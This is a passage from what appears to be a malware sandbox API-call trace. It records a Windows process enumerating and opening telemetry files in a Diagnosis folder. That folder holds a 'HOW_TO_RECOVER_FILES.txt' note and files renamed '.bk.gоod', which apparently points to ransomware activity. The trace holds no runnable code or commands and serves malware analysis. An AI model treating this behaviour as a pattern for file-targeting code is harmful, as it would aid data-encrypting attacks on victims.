cAlternateFileName="UTCAPP~1.JSO")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk.gоod", cAlternateFileName="UTCAPP~1.GOD")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.839] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.840] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings", lpFilePart=0x0) returned 0x39 [0137.840] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38feb5cc, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1 [0137.840] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3857d38a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk.gоod", cAlternateFileName="TELEME~1.GOD")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1 [0137.841] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk.gоod", cAlternateFileName="UTCAPP~1.GOD")) returned 1 [0137.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1 [0137.842] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0 [0137.842] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", lpFilePart=0x0) returned 0x5b [0137.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0137.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), fInfoLevelId=0x0, lpFileInformation=0x390c788 | out: lpFileInformation=0x390c788*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b)) returned 1 [0137.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0137.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", lpFilePart=0x0) returned 0x5b [0137.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0137.843] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0137.845] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", lpFilePart=0x0) returned 0x56 [0137.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0137.845] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), fInfoLevelId=0x0, lpFileInformation=0x390d040 | out: lpFileInformation=0x390d040*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c)) returned 1 [0137.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0137.845] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", lpFilePart=0x0) returned 0x56 [0137.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0137.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0137.847] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpFilePart=0x0) returned 0x9a [0137.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0137.847] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), fInfoLevelId=0x0, lpFileInformation=0x390d810 | out: lpFileInformation=0x390d810*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0137.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0137.848] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpFilePart=0x0) returned 0x9a [0137.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0137.848] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0137.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpFilePart=0x0) returned 0x9a [0137.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0137.850] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), fInfoLevelId=0x0, lpFileInformation=0x390e288 | out: lpFileInformation=0x390e288*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0137.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0137.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpFilePart=0x0) returned 0x9a [0137.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0137.850] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0137.852] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpFilePart=0x0) returned 0x9a [0137.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0137.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), fInfoLevelId=0x0, lpFileInformation=0x390ed00 | out: lpFileInformation=0x390ed00*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0138.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpFilePart=0x0) returned 0x9a [0138.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0138.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0138.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", lpFilePart=0x0) returned 0x46 [0138.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.095] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), fInfoLevelId=0x0, lpFileInformation=0x392a718 | out: lpFileInformation=0x392a718*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e)) returned 1 [0138.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.095] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", nBufferLength=0x105, lpBuffer=0x10f9f30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", lpFilePart=0x0) returned 0x46 [0138.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa450) returned 1 [0138.095] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6e40) returned 1 [0138.097] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", nBufferLength=0x105, lpBuffer=0x10fa080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", lpFilePart=0x0) returned 0x47 [0138.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa550) returned 1 [0138.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), fInfoLevelId=0x0, lpFileInformation=0x392af08 | out: lpFileInformation=0x392af08*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, 